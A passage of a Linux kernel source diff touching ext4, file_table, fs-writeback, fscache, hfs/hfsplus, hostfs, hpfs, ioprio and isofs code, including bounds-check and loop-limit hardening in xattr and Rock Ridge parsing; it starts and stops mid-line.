* bpg + blk_off; else backup_block = (ext4_group_first_block_no(sb, group) + ext4_bg_has_super(sb, group)); diff --git a/fs/ext4/super.c b/fs/ext4/super.c index 95020fc8a6e02..e3b5ce1416b4d 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -400,9 +400,13 @@ static void ext4_handle_error(struct super_block *sb) ext4_msg(sb, KERN_CRIT, "Remounting filesystem read-only"); sb->s_flags |= MS_RDONLY; } - if (test_opt(sb, ERRORS_PANIC)) + if (test_opt(sb, ERRORS_PANIC)) { + if (EXT4_SB(sb)->s_journal && + !(EXT4_SB(sb)->s_journal->j_flags & JBD2_REC_ERR)) + return; panic("EXT4-fs (device %s): panic forced after error\n", sb->s_id); + } } void __ext4_error(struct super_block *sb, const char *function, @@ -578,8 +582,12 @@ void __ext4_abort(struct super_block *sb, const char *function, jbd2_journal_abort(EXT4_SB(sb)->s_journal, -EIO); save_error_info(sb, function, line); } - if (test_opt(sb, ERRORS_PANIC)) + if (test_opt(sb, ERRORS_PANIC)) { + if (EXT4_SB(sb)->s_journal && + !(EXT4_SB(sb)->s_journal->j_flags & JBD2_REC_ERR)) + return; panic("EXT4-fs panic from previous error\n"); + } } void ext4_msg(struct super_block *sb, const char *prefix, const char *fmt, ...) @@ -805,6 +813,7 @@ static void ext4_put_super(struct super_block *sb) dump_orphan_list(sb, sbi); J_ASSERT(list_empty(&sbi->s_orphan)); + sync_blockdev(sb->s_bdev); invalidate_bdev(sb->s_bdev); if (sbi->journal_bdev && sbi->journal_bdev != sb->s_bdev) { /* @@ -966,7 +975,7 @@ static struct inode *ext4_nfs_get_inode(struct super_block *sb, * Currently we don't know the generation for parent directory, so * a generation of 0 means "accept any" */ - inode = ext4_iget(sb, ino); + inode = ext4_iget_normal(sb, ino); if (IS_ERR(inode)) return ERR_CAST(inode); if (generation && inode->i_generation != generation) { @@ -1634,13 +1643,6 @@ static int parse_options(char *options, struct super_block *sb, "not specified"); return 0; } - } else { - if (sbi->s_jquota_fmt) { - ext4_msg(sb, KERN_ERR, "journaled quota format " - "specified with no journaling " - "enabled"); - return 0; - } } #endif if (test_opt(sb, DIOREAD_NOLOCK)) { @@ -1959,6 +1961,10 @@ static __le16 ext4_group_desc_csum(struct ext4_sb_info *sbi, __u32 block_group, } /* old crc16 code */ + if (!(sbi->s_es->s_feature_ro_compat & + cpu_to_le32(EXT4_FEATURE_RO_COMPAT_GDT_CSUM))) + return 0; + offset = offsetof(struct ext4_group_desc, bg_checksum); crc = crc16(~0, sbi->s_es->s_uuid, sizeof(sbi->s_es->s_uuid)); @@ -2149,6 +2155,16 @@ static void ext4_orphan_cleanup(struct super_block *sb, while (es->s_last_orphan) { struct inode *inode; + /* + * We may have encountered an error during cleanup; if + * so, skip the rest. + */ + if (EXT4_SB(sb)->s_mount_state & EXT4_ERROR_FS) { + jbd_debug(1, "Skipping orphan recovery on fs with errors.\n"); + es->s_last_orphan = 0; + break; + } + inode = ext4_orphan_get(sb, le32_to_cpu(es->s_last_orphan)); if (IS_ERR(inode)) { es->s_last_orphan = 0; @@ -4980,6 +4996,20 @@ static int ext4_quota_on_mount(struct super_block *sb, int type) EXT4_SB(sb)->s_jquota_fmt, type); } +static void lockdep_set_quota_inode(struct inode *inode, int subclass) +{ + struct ext4_inode_info *ei = EXT4_I(inode); + + /* The first argument of lockdep_set_subclass has to be + * *exactly* the same as the argument to init_rwsem() --- in + * this case, in init_once() --- or lockdep gets unhappy + * because the name of the lock is set using the + * stringification of the argument to init_rwsem(). + */ + (void) ei; /* shut up clang warning if !CONFIG_LOCKDEP */ + lockdep_set_subclass(&ei->i_data_sem, subclass); +} + /* * Standard function to be called on quota_on */ @@ -5019,8 +5049,12 @@ static int ext4_quota_on(struct super_block *sb, int type, int format_id, if (err) return err; } - - return dquot_quota_on(sb, type, format_id, path); + lockdep_set_quota_inode(path->dentry->d_inode, I_DATA_SEM_QUOTA); + err = dquot_quota_on(sb, type, format_id, path); + if (err) + lockdep_set_quota_inode(path->dentry->d_inode, + I_DATA_SEM_NORMAL); + return err; } static int ext4_quota_enable(struct super_block *sb, int type, int format_id, @@ -5046,8 +5080,11 @@ static int ext4_quota_enable(struct super_block *sb, int type, int format_id, /* Don't account quota for quota files to avoid recursion */ qf_inode->i_flags |= S_NOQUOTA; + lockdep_set_quota_inode(qf_inode, I_DATA_SEM_QUOTA); err = dquot_enable(qf_inode, type, format_id, flags); iput(qf_inode); + if (err) + lockdep_set_quota_inode(qf_inode, I_DATA_SEM_NORMAL); return err; } diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 298e9c8da3648..a20816e7eb3a9 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -189,14 +189,28 @@ ext4_listxattr(struct dentry *dentry, char *buffer, size_t size) } static int -ext4_xattr_check_names(struct ext4_xattr_entry *entry, void *end) +ext4_xattr_check_names(struct ext4_xattr_entry *entry, void *end, + void *value_start) { - while (!IS_LAST_ENTRY(entry)) { - struct ext4_xattr_entry *next = EXT4_XATTR_NEXT(entry); + struct ext4_xattr_entry *e = entry; + + while (!IS_LAST_ENTRY(e)) { + struct ext4_xattr_entry *next = EXT4_XATTR_NEXT(e); if ((void *)next >= end) return -EIO; - entry = next; + e = next; } + + while (!IS_LAST_ENTRY(entry)) { + if (entry->e_value_size != 0 && + (value_start + le16_to_cpu(entry->e_value_offs) < + (void *)e + sizeof(__u32) || + value_start + le16_to_cpu(entry->e_value_offs) + + le32_to_cpu(entry->e_value_size) > end)) + return -EIO; + entry = EXT4_XATTR_NEXT(entry); + } + return 0; } @@ -213,7 +227,8 @@ ext4_xattr_check_block(struct inode *inode, struct buffer_head *bh) return -EIO; if (!ext4_xattr_block_csum_verify(inode, bh->b_blocknr, BHDR(bh))) return -EIO; - error = ext4_xattr_check_names(BFIRST(bh), bh->b_data + bh->b_size); + error = ext4_xattr_check_names(BFIRST(bh), bh->b_data + bh->b_size, + bh->b_data); if (!error) set_buffer_verified(bh); return error; @@ -329,7 +344,7 @@ ext4_xattr_ibody_get(struct inode *inode, int name_index, const char *name, header = IHDR(inode, raw_inode); entry = IFIRST(header); end = (void *)raw_inode + EXT4_SB(inode->i_sb)->s_inode_size; - error = ext4_xattr_check_names(entry, end); + error = ext4_xattr_check_names(entry, end, entry); if (error) goto cleanup; error = ext4_xattr_find_entry(&entry, name_index, name, @@ -457,7 +472,7 @@ ext4_xattr_ibody_list(struct dentry *dentry, char *buffer, size_t buffer_size) raw_inode = ext4_raw_inode(&iloc); header = IHDR(inode, raw_inode); end = (void *)raw_inode + EXT4_SB(inode->i_sb)->s_inode_size; - error = ext4_xattr_check_names(IFIRST(header), end); + error = ext4_xattr_check_names(IFIRST(header), end, IFIRST(header)); if (error) goto cleanup; error = ext4_xattr_list_entries(dentry, IFIRST(header), @@ -972,7 +987,8 @@ int ext4_xattr_ibody_find(struct inode *inode, struct ext4_xattr_info *i, is->s.here = is->s.first; is->s.end = (void *)raw_inode + EXT4_SB(inode->i_sb)->s_inode_size; if (ext4_test_inode_state(inode, EXT4_STATE_XATTR)) { - error = ext4_xattr_check_names(IFIRST(header), is->s.end); + error = ext4_xattr_check_names(IFIRST(header), is->s.end, + IFIRST(header)); if (error) return error; /* Find the named attribute. */ diff --git a/fs/file_table.c b/fs/file_table.c index 54a34be444f90..28f02a7cbba18 100644 --- a/fs/file_table.c +++ b/fs/file_table.c @@ -36,8 +36,6 @@ struct files_stat_struct files_stat = { .max_files = NR_FILE }; -DEFINE_STATIC_LGLOCK(files_lglock); - /* SLAB cache for file structures */ static struct kmem_cache *filp_cachep __read_mostly; @@ -134,7 +132,6 @@ struct file *get_empty_filp(void) return ERR_PTR(error); } - INIT_LIST_HEAD(&f->f_u.fu_list); atomic_long_set(&f->f_count, 1); rwlock_init(&f->f_owner.lock); spin_lock_init(&f->f_lock); @@ -265,18 +262,15 @@ static void __fput(struct file *file) mntput(mnt); } -static DEFINE_SPINLOCK(delayed_fput_lock); -static LIST_HEAD(delayed_fput_list); +static LLIST_HEAD(delayed_fput_list); static void delayed_fput(struct work_struct *unused) { - LIST_HEAD(head); - spin_lock_irq(&delayed_fput_lock); - list_splice_init(&delayed_fput_list, &head); - spin_unlock_irq(&delayed_fput_lock); - while (!list_empty(&head)) { - struct file *f = list_first_entry(&head, struct file, f_u.fu_list); - list_del_init(&f->f_u.fu_list); - __fput(f); + struct llist_node *node = llist_del_all(&delayed_fput_list); + struct llist_node *next; + + for (; node; node = next) { + next = llist_next(node); + __fput(llist_entry(node, struct file, f_u.fu_llist)); } } @@ -306,18 +300,15 @@ void fput(struct file *file) { if (atomic_long_dec_and_test(&file->f_count)) { struct task_struct *task = current; - unsigned long flags; - file_sb_list_del(file); if (likely(!in_interrupt() && !(task->flags & PF_KTHREAD))) { init_task_work(&file->f_u.fu_rcuhead, ____fput); if (!task_work_add(task, &file->f_u.fu_rcuhead, true)) return; } - spin_lock_irqsave(&delayed_fput_lock, flags); - list_add(&file->f_u.fu_list, &delayed_fput_list); - schedule_work(&delayed_fput_work); - spin_unlock_irqrestore(&delayed_fput_lock, flags); + + if (llist_add(&file->f_u.fu_llist, &delayed_fput_list)) + schedule_work(&delayed_fput_work); } } @@ -333,7 +324,6 @@ void __fput_sync(struct file *file) { if (atomic_long_dec_and_test(&file->f_count)) { struct task_struct *task = current; - file_sb_list_del(file); BUG_ON(!(task->flags & PF_KTHREAD)); __fput(file); } @@ -345,127 +335,10 @@ void put_filp(struct file *file) { if (atomic_long_dec_and_test(&file->f_count)) { security_file_free(file); - file_sb_list_del(file); file_free(file); } } -static inline int file_list_cpu(struct file *file) -{ -#ifdef CONFIG_SMP - return file->f_sb_list_cpu; -#else - return smp_processor_id(); -#endif -} - -/* helper for file_sb_list_add to reduce ifdefs */ -static inline void __file_sb_list_add(struct file *file, struct super_block *sb) -{ - struct list_head *list; -#ifdef CONFIG_SMP - int cpu; - cpu = smp_processor_id(); - file->f_sb_list_cpu = cpu; - list = per_cpu_ptr(sb->s_files, cpu); -#else - list = &sb->s_files; -#endif - list_add(&file->f_u.fu_list, list); -} - -/** - * file_sb_list_add - add a file to the sb's file list - * @file: file to add - * @sb: sb to add it to - * - * Use this function to associate a file with the superblock of the inode it - * refers to. - */ -void file_sb_list_add(struct file *file, struct super_block *sb) -{ - lg_local_lock(&files_lglock); - __file_sb_list_add(file, sb); - lg_local_unlock(&files_lglock); -} - -/** - * file_sb_list_del - remove a file from the sb's file list - * @file: file to remove - * @sb: sb to remove it from - * - * Use this function to remove a file from its superblock. - */ -void file_sb_list_del(struct file *file) -{ - if (!list_empty(&file->f_u.fu_list)) { - lg_local_lock_cpu(&files_lglock, file_list_cpu(file)); - list_del_init(&file->f_u.fu_list); - lg_local_unlock_cpu(&files_lglock, file_list_cpu(file)); - } -} - -#ifdef CONFIG_SMP - -/* - * These macros iterate all files on all CPUs for a given superblock. - * files_lglock must be held globally. - */ -#define do_file_list_for_each_entry(__sb, __file) \ -{ \ - int i; \ - for_each_possible_cpu(i) { \ - struct list_head *list; \ - list = per_cpu_ptr((__sb)->s_files, i); \ - list_for_each_entry((__file), list, f_u.fu_list) - -#define while_file_list_for_each_entry \ - } \ -} - -#else - -#define do_file_list_for_each_entry(__sb, __file) \ -{ \ - struct list_head *list; \ - list = &(sb)->s_files; \ - list_for_each_entry((__file), list, f_u.fu_list) - -#define while_file_list_for_each_entry \ -} - -#endif - -/** - * mark_files_ro - mark all files read-only - * @sb: superblock in question - * - * All files are marked read-only. We don't care about pending - * delete files so this should be used in 'force' mode only. - */ -void mark_files_ro(struct super_block *sb) -{ - struct file *f; - - lg_global_lock(&files_lglock); - do_file_list_for_each_entry(sb, f) { - if (!S_ISREG(file_inode(f)->i_mode)) - continue; - if (!file_count(f)) - continue; - if (!(f->f_mode & FMODE_WRITE)) - continue; - spin_lock(&f->f_lock); - f->f_mode &= ~FMODE_WRITE; - spin_unlock(&f->f_lock); - if (file_check_writeable(f) != 0) - continue; - __mnt_drop_write(f->f_path.mnt); - file_release_write(f); - } while_file_list_for_each_entry; - lg_global_unlock(&files_lglock); -} - void __init files_init(unsigned long mempages) { unsigned long n; @@ -481,6 +354,5 @@ void __init files_init(unsigned long mempages) n = (mempages * (PAGE_SIZE / 1024)) / 10; files_stat.max_files = max_t(unsigned long, n, NR_FILE); files_defer_init(); - lg_lock_init(&files_lglock, "files_lglock"); percpu_counter_init(&nr_files, 0); } diff --git a/fs/fs-writeback.c b/fs/fs-writeback.c index 556af9eff3369..62d426d1d5e34 100644 --- a/fs/fs-writeback.c +++ b/fs/fs-writeback.c @@ -470,12 +470,28 @@ __writeback_single_inode(struct inode *inode, struct writeback_control *wbc) * write_inode() */ spin_lock(&inode->i_lock); - /* Clear I_DIRTY_PAGES if we've written out all dirty pages */ - if (!mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) - inode->i_state &= ~I_DIRTY_PAGES; + dirty = inode->i_state & I_DIRTY; - inode->i_state &= ~(I_DIRTY_SYNC | I_DIRTY_DATASYNC); + inode->i_state &= ~I_DIRTY; + + /* + * Paired with smp_mb() in __mark_inode_dirty(). This allows + * __mark_inode_dirty() to test i_state without grabbing i_lock - + * either they see the I_DIRTY bits cleared or we see the dirtied + * inode. + * + * I_DIRTY_PAGES is always cleared together above even if @mapping + * still has dirty pages. The flag is reinstated after smp_mb() if + * necessary. This guarantees that either __mark_inode_dirty() + * sees clear I_DIRTY_PAGES or we see PAGECACHE_TAG_DIRTY. + */ + smp_mb(); + + if (mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) + inode->i_state |= I_DIRTY_PAGES; + spin_unlock(&inode->i_lock); + /* Don't write the inode if only I_DIRTY_PAGES was set */ if (dirty & (I_DIRTY_SYNC | I_DIRTY_DATASYNC)) { int err = write_inode(inode, wbc); @@ -1146,12 +1162,11 @@ void __mark_inode_dirty(struct inode *inode, int flags) } /* - * make sure that changes are seen by all cpus before we test i_state - * -- mikulas + * Paired with smp_mb() in __writeback_single_inode() for the + * following lockless i_state test. See there for details. */ smp_mb(); - /* avoid the locking if we can */ if ((inode->i_state & flags) == flags) return; diff --git a/fs/fscache/netfs.c b/fs/fscache/netfs.c index e028b8eb1c409..0912b90e05bc3 100644 --- a/fs/fscache/netfs.c +++ b/fs/fscache/netfs.c @@ -45,9 +45,6 @@ int __fscache_register_netfs(struct fscache_netfs *netfs) netfs->primary_index->parent = &fscache_fsdef_index; netfs->primary_index->netfs_data = netfs; - atomic_inc(&netfs->primary_index->parent->usage); - atomic_inc(&netfs->primary_index->parent->n_children); - spin_lock_init(&netfs->primary_index->lock); INIT_HLIST_HEAD(&netfs->primary_index->backing_objects); @@ -60,6 +57,9 @@ int __fscache_register_netfs(struct fscache_netfs *netfs) goto already_registered; } + atomic_inc(&netfs->primary_index->parent->usage); + atomic_inc(&netfs->primary_index->parent->n_children); + list_add(&netfs->link, &fscache_netfs_list); ret = 0; @@ -70,8 +70,7 @@ int __fscache_register_netfs(struct fscache_netfs *netfs) up_write(&fscache_addremove_sem); if (ret < 0) { - netfs->primary_index->parent = NULL; - __fscache_cookie_put(netfs->primary_index); + kmem_cache_free(fscache_cookie_jar, netfs->primary_index); netfs->primary_index = NULL; } diff --git a/fs/hfs/bnode.c b/fs/hfs/bnode.c index d3fa6bd9503e7..221719eac5de6 100644 --- a/fs/hfs/bnode.c +++ b/fs/hfs/bnode.c @@ -288,7 +288,6 @@ static struct hfs_bnode *__hfs_bnode_create(struct hfs_btree *tree, u32 cnid) page_cache_release(page); goto fail; } - page_cache_release(page); node->page[i] = page; } @@ -398,11 +397,11 @@ struct hfs_bnode *hfs_bnode_find(struct hfs_btree *tree, u32 num) void hfs_bnode_free(struct hfs_bnode *node) { - //int i; + int i; - //for (i = 0; i < node->tree->pages_per_bnode; i++) - // if (node->page[i]) - // page_cache_release(node->page[i]); + for (i = 0; i < node->tree->pages_per_bnode; i++) + if (node->page[i]) + page_cache_release(node->page[i]); kfree(node); } diff --git a/fs/hfs/brec.c b/fs/hfs/brec.c index 9f4ee7f520261..6fc766df04617 100644 --- a/fs/hfs/brec.c +++ b/fs/hfs/brec.c @@ -131,13 +131,16 @@ int hfs_brec_insert(struct hfs_find_data *fd, void *entry, int entry_len) hfs_bnode_write(node, entry, data_off + key_len, entry_len); hfs_bnode_dump(node); - if (new_node) { - /* update parent key if we inserted a key - * at the start of the first node - */ - if (!rec && new_node != node) - hfs_brec_update_parent(fd); + /* + * update parent key if we inserted a key + * at the start of the node and it is not the new node + */ + if (!rec && new_node != node) { + hfs_bnode_read_key(node, fd->search_key, data_off + size); + hfs_brec_update_parent(fd); + } + if (new_node) { hfs_bnode_put(fd->bnode); if (!new_node->parent) { hfs_btree_inc_height(tree); @@ -166,9 +169,6 @@ int hfs_brec_insert(struct hfs_find_data *fd, void *entry, int entry_len) goto again; } - if (!rec) - hfs_brec_update_parent(fd); - return 0; } @@ -366,6 +366,8 @@ static int hfs_brec_update_parent(struct hfs_find_data *fd) if (IS_ERR(parent)) return PTR_ERR(parent); __hfs_brec_find(parent, fd); + if (fd->record < 0) + return -ENOENT; hfs_bnode_dump(parent); rec = fd->record; diff --git a/fs/hfsplus/bnode.c b/fs/hfsplus/bnode.c index 11c860204520d..bedfe5f7d332e 100644 --- a/fs/hfsplus/bnode.c +++ b/fs/hfsplus/bnode.c @@ -456,7 +456,6 @@ static struct hfs_bnode *__hfs_bnode_create(struct hfs_btree *tree, u32 cnid) page_cache_release(page); goto fail; } - page_cache_release(page); node->page[i] = page; } @@ -568,13 +567,11 @@ struct hfs_bnode *hfs_bnode_find(struct hfs_btree *tree, u32 num) void hfs_bnode_free(struct hfs_bnode *node) { -#if 0 int i; for (i = 0; i < node->tree->pages_per_bnode; i++) if (node->page[i]) page_cache_release(node->page[i]); -#endif kfree(node); } diff --git a/fs/hfsplus/brec.c b/fs/hfsplus/brec.c index 6e560d56094b2..754fdf8c63563 100644 --- a/fs/hfsplus/brec.c +++ b/fs/hfsplus/brec.c @@ -131,13 +131,16 @@ int hfs_brec_insert(struct hfs_find_data *fd, void *entry, int entry_len) hfs_bnode_write(node, entry, data_off + key_len, entry_len); hfs_bnode_dump(node); - if (new_node) { - /* update parent key if we inserted a key - * at the start of the first node - */ - if (!rec && new_node != node) - hfs_brec_update_parent(fd); + /* + * update parent key if we inserted a key + * at the start of the node and it is not the new node + */ + if (!rec && new_node != node) { + hfs_bnode_read_key(node, fd->search_key, data_off + size); + hfs_brec_update_parent(fd); + } + if (new_node) { hfs_bnode_put(fd->bnode); if (!new_node->parent) { hfs_btree_inc_height(tree); @@ -168,9 +171,6 @@ int hfs_brec_insert(struct hfs_find_data *fd, void *entry, int entry_len) goto again; } - if (!rec) - hfs_brec_update_parent(fd); - return 0; } @@ -370,6 +370,8 @@ static int hfs_brec_update_parent(struct hfs_find_data *fd) if (IS_ERR(parent)) return PTR_ERR(parent); __hfs_brec_find(parent, fd, hfs_find_rec_by_key); + if (fd->record < 0) + return -ENOENT; hfs_bnode_dump(parent); rec = fd->record; diff --git a/fs/hostfs/hostfs_kern.c b/fs/hostfs/hostfs_kern.c index 32f35f1879890..b58a9cbb9695f 100644 --- a/fs/hostfs/hostfs_kern.c +++ b/fs/hostfs/hostfs_kern.c @@ -720,15 +720,13 @@ static int hostfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, init_special_inode(inode, mode, dev); err = do_mknod(name, mode, MAJOR(dev), MINOR(dev)); - if (!err) + if (err) goto out_free; err = read_name(inode, name); __putname(name); if (err) goto out_put; - if (err) - goto out_put; d_instantiate(dentry, inode); return 0; diff --git a/fs/hpfs/namei.c b/fs/hpfs/namei.c index 345713d2f8f31..6b42789ae799e 100644 --- a/fs/hpfs/namei.c +++ b/fs/hpfs/namei.c @@ -8,6 +8,17 @@ #include #include "hpfs_fn.h" +static void hpfs_update_directory_times(struct inode *dir) +{ + time_t t = get_seconds(); + if (t == dir->i_mtime.tv_sec && + t == dir->i_ctime.tv_sec) + return; + dir->i_mtime.tv_sec = dir->i_ctime.tv_sec = t; + dir->i_mtime.tv_nsec = dir->i_ctime.tv_nsec = 0; + hpfs_write_inode_nolock(dir); +} + static int hpfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { const unsigned char *name = dentry->d_name.name; @@ -99,6 +110,7 @@ static int hpfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) result->i_mode = mode | S_IFDIR; hpfs_write_inode_nolock(result); } + hpfs_update_directory_times(dir); d_instantiate(dentry, result); hpfs_unlock(dir->i_sb); return 0; @@ -187,6 +199,7 @@ static int hpfs_create(struct inode *dir, struct dentry *dentry, umode_t mode, b result->i_mode = mode | S_IFREG; hpfs_write_inode_nolock(result); } + hpfs_update_directory_times(dir); d_instantiate(dentry, result); hpfs_unlock(dir->i_sb); return 0; @@ -262,6 +275,7 @@ static int hpfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, de insert_inode_hash(result); hpfs_write_inode_nolock(result); + hpfs_update_directory_times(dir); d_instantiate(dentry, result); brelse(bh); hpfs_unlock(dir->i_sb); @@ -340,6 +354,7 @@ static int hpfs_symlink(struct inode *dir, struct dentry *dentry, const char *sy insert_inode_hash(result); hpfs_write_inode_nolock(result); + hpfs_update_directory_times(dir); d_instantiate(dentry, result); hpfs_unlock(dir->i_sb); return 0; @@ -423,6 +438,8 @@ static int hpfs_unlink(struct inode *dir, struct dentry *dentry) out1: hpfs_brelse4(&qbh); out: + if (!err) + hpfs_update_directory_times(dir); hpfs_unlock(dir->i_sb); return err; } @@ -477,6 +494,8 @@ static int hpfs_rmdir(struct inode *dir, struct dentry *dentry) out1: hpfs_brelse4(&qbh); out: + if (!err) + hpfs_update_directory_times(dir); hpfs_unlock(dir->i_sb); return err; } @@ -595,7 +614,7 @@ static int hpfs_rename(struct inode *old_dir, struct dentry *old_dentry, goto end1; } - end: +end: hpfs_i(i)->i_parent_dir = new_dir->i_ino; if (S_ISDIR(i->i_mode)) { inc_nlink(new_dir); @@ -610,6 +629,10 @@ static int hpfs_rename(struct inode *old_dir, struct dentry *old_dentry, brelse(bh); } end1: + if (!err) { + hpfs_update_directory_times(old_dir); + hpfs_update_directory_times(new_dir); + } hpfs_unlock(i->i_sb); return err; } diff --git a/fs/hpfs/super.c b/fs/hpfs/super.c index 962e90c37aec6..2c1ce192af8bc 100644 --- a/fs/hpfs/super.c +++ b/fs/hpfs/super.c @@ -52,17 +52,20 @@ static void unmark_dirty(struct super_block *s) } /* Filesystem error... */ -static char err_buf[1024]; - void hpfs_error(struct super_block *s, const char *fmt, ...) { + struct va_format vaf; va_list args; va_start(args, fmt); - vsnprintf(err_buf, sizeof(err_buf), fmt, args); + + vaf.fmt = fmt; + vaf.va = &args; + + pr_err("filesystem error: %pV", &vaf); + va_end(args); - printk("HPFS: filesystem error: %s", err_buf); if (!hpfs_sb(s)->sb_was_error) { if (hpfs_sb(s)->sb_err == 2) { printk("; crashing the system because you wanted it\n"); diff --git a/fs/inode.c b/fs/inode.c index 1b300a06b8be3..17f95b417955d 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -1628,8 +1628,8 @@ int file_remove_suid(struct file *file) error = security_inode_killpriv(dentry); if (!error && killsuid) error = __remove_suid(dentry, killsuid); - if (!error && (inode->i_sb->s_flags & MS_NOSEC)) - inode->i_flags |= S_NOSEC; + if (!error) + inode_has_no_xattr(inode); return error; } diff --git a/fs/internal.h b/fs/internal.h index 68121584ae37d..2ffa65a36ca01 100644 --- a/fs/internal.h +++ b/fs/internal.h @@ -74,9 +74,6 @@ extern void chroot_fs_refs(const struct path *, const struct path *); /* * file_table.c */ -extern void file_sb_list_add(struct file *f, struct super_block *sb); -extern void file_sb_list_del(struct file *f); -extern void mark_files_ro(struct super_block *); extern struct file *get_empty_filp(void); /* diff --git a/fs/ioprio.c b/fs/ioprio.c index 46f0e24f43e99..563435684c3c1 100644 --- a/fs/ioprio.c +++ b/fs/ioprio.c @@ -159,14 +159,16 @@ static int get_task_ioprio(struct task_struct *p) int ioprio_best(unsigned short aprio, unsigned short bprio) { - unsigned short aclass = IOPRIO_PRIO_CLASS(aprio); - unsigned short bclass = IOPRIO_PRIO_CLASS(bprio); + unsigned short aclass; + unsigned short bclass; - if (aclass == IOPRIO_CLASS_NONE) - aclass = IOPRIO_CLASS_BE; - if (bclass == IOPRIO_CLASS_NONE) - bclass = IOPRIO_CLASS_BE; + if (!ioprio_valid(aprio)) + aprio = IOPRIO_PRIO_VALUE(IOPRIO_CLASS_BE, IOPRIO_NORM); + if (!ioprio_valid(bprio)) + bprio = IOPRIO_PRIO_VALUE(IOPRIO_CLASS_BE, IOPRIO_NORM); + aclass = IOPRIO_PRIO_CLASS(aprio); + bclass = IOPRIO_PRIO_CLASS(bprio); if (aclass == bclass) return min(aprio, bprio); if (aclass > bclass) diff --git a/fs/isofs/inode.c b/fs/isofs/inode.c index d3705490ff9ca..10489bbd40fc5 100644 --- a/fs/isofs/inode.c +++ b/fs/isofs/inode.c @@ -69,7 +69,7 @@ static void isofs_put_super(struct super_block *sb) return; } -static int isofs_read_inode(struct inode *); +static int isofs_read_inode(struct inode *, int relocated); static int isofs_statfs (struct dentry *, struct kstatfs *); static struct kmem_cache *isofs_inode_cachep; @@ -1274,7 +1274,7 @@ static int isofs_read_level3_size(struct inode *inode) goto out; } -static int isofs_read_inode(struct inode *inode) +static int isofs_read_inode(struct inode *inode, int relocated) { struct super_block *sb = inode->i_sb; struct isofs_sb_info *sbi = ISOFS_SB(sb); @@ -1419,7 +1419,7 @@ static int isofs_read_inode(struct inode *inode) */ if (!high_sierra) { - parse_rock_ridge_inode(de, inode); + parse_rock_ridge_inode(de, inode, relocated); /* if we want uid/gid set, override the rock ridge setting */ if (sbi->s_uid_set) inode->i_uid = sbi->s_uid; @@ -1498,9 +1498,10 @@ static int isofs_iget5_set(struct inode *ino, void *data) * offset that point to the underlying meta-data for the inode. The * code below is otherwise similar to the iget() code in * include/linux/fs.h */ -struct inode *isofs_iget(struct super_block *sb, - unsigned long block, - unsigned long offset) +struct inode *__isofs_iget(struct super_block *sb, + unsigned long block, + unsigned long offset, + int relocated) { unsigned long hashval; struct inode *inode; @@ -1522,7 +1523,7 @@ struct inode *isofs_iget(struct super_block *sb, return ERR_PTR(-ENOMEM); if (inode->i_state & I_NEW) { - ret = isofs_read_inode(inode); + ret = isofs_read_inode(inode, relocated); if (ret < 0) { iget_failed(inode); inode = ERR_PTR(ret); diff --git a/fs/isofs/isofs.h b/fs/isofs/isofs.h index 99167238518d6..0ac4c1f73fbd6 100644 --- a/fs/isofs/isofs.h +++ b/fs/isofs/isofs.h @@ -107,7 +107,7 @@ extern int iso_date(char *, int); struct inode; /* To make gcc happy */ -extern int parse_rock_ridge_inode(struct iso_directory_record *, struct inode *); +extern int parse_rock_ridge_inode(struct iso_directory_record *, struct inode *, int relocated); extern int get_rock_ridge_filename(struct iso_directory_record *, char *, struct inode *); extern int isofs_name_translate(struct iso_directory_record *, char *, struct inode *); @@ -118,9 +118,24 @@ extern struct dentry *isofs_lookup(struct inode *, struct dentry *, unsigned int extern struct buffer_head *isofs_bread(struct inode *, sector_t); extern int isofs_get_blocks(struct inode *, sector_t, struct buffer_head **, unsigned long); -extern struct inode *isofs_iget(struct super_block *sb, - unsigned long block, - unsigned long offset); +struct inode *__isofs_iget(struct super_block *sb, + unsigned long block, + unsigned long offset, + int relocated); + +static inline struct inode *isofs_iget(struct super_block *sb, + unsigned long block, + unsigned long offset) +{ + return __isofs_iget(sb, block, offset, 0); +} + +static inline struct inode *isofs_iget_reloc(struct super_block *sb, + unsigned long block, + unsigned long offset) +{ + return __isofs_iget(sb, block, offset, 1); +} /* Because the inode number is no longer relevant to finding the * underlying meta-data for an inode, we are free to choose a more diff --git a/fs/isofs/rock.c b/fs/isofs/rock.c index c0bf42472e408..204659a5f6db5 100644 --- a/fs/isofs/rock.c +++ b/fs/isofs/rock.c @@ -30,6 +30,7 @@ struct rock_state { int cont_size; int cont_extent; int cont_offset; + int cont_loops; struct inode *inode; }; @@ -73,6 +74,9 @@ static void init_rock_state(struct rock_state *rs, struct inode *inode) rs->inode = inode; } +/* Maximum number of Rock Ridge continuation entries */ +#define RR_MAX_CE_ENTRIES 32 + /* * Returns 0 if the caller should continue scanning, 1 if the scan must end * and -ve on error. @@ -105,6 +109,8 @@ static int rock_continue(struct rock_state *rs) goto out; } ret = -EIO; + if (++rs->cont_loops >= RR_MAX_CE_ENTRIES) + goto out; bh = sb_bread(rs->inode->i_sb, rs->cont_extent); if (bh) { memcpy(rs->buffer, bh->b_data + rs->cont_offset, @@ -197,6 +203,8 @@ int get_rock_ridge_filename(struct iso_directory_record *de, int retnamlen = 0; int truncate = 0; int ret = 0; + char *p; + int len; if (!ISOFS_SB(inode->i_sb)->s_rock) return 0; @@ -261,12 +269,17 @@ int get_rock_ridge_filename(struct iso_directory_record *de, rr->u.NM.flags); break; } - if ((strlen(retname) + rr->len - 5) >= 254) { + len = rr->len - 5; + if (retnamlen + len >= 254) { truncate = 1; break; } - strncat(retname, rr->u.NM.name, rr->len - 5); - retnamlen += rr->len - 5; + p = memchr(rr->u.NM.name, '\0', len); + if (unlikely(p)) + len = p - rr->u.NM.name; + memcpy(retname + retnamlen, rr->u.NM.name, len); + retnamlen += len; + retname[retnamlen] = '\0'; break; case SIG('R', 'E'): kfree(rs.buffer); @@ -288,12 +301,16 @@ int get_rock_ridge_filename(struct iso_directory_record *de, goto out; } +#define RR_REGARD_XA 1 +#define RR_RELOC_DE 2 + static int parse_rock_ridge_inode_internal(struct iso_directory_record *de, - struct inode *inode, int regard_xa) + struct inode *inode, int flags) { int symlink_len = 0; int cnt, sig; + unsigned int 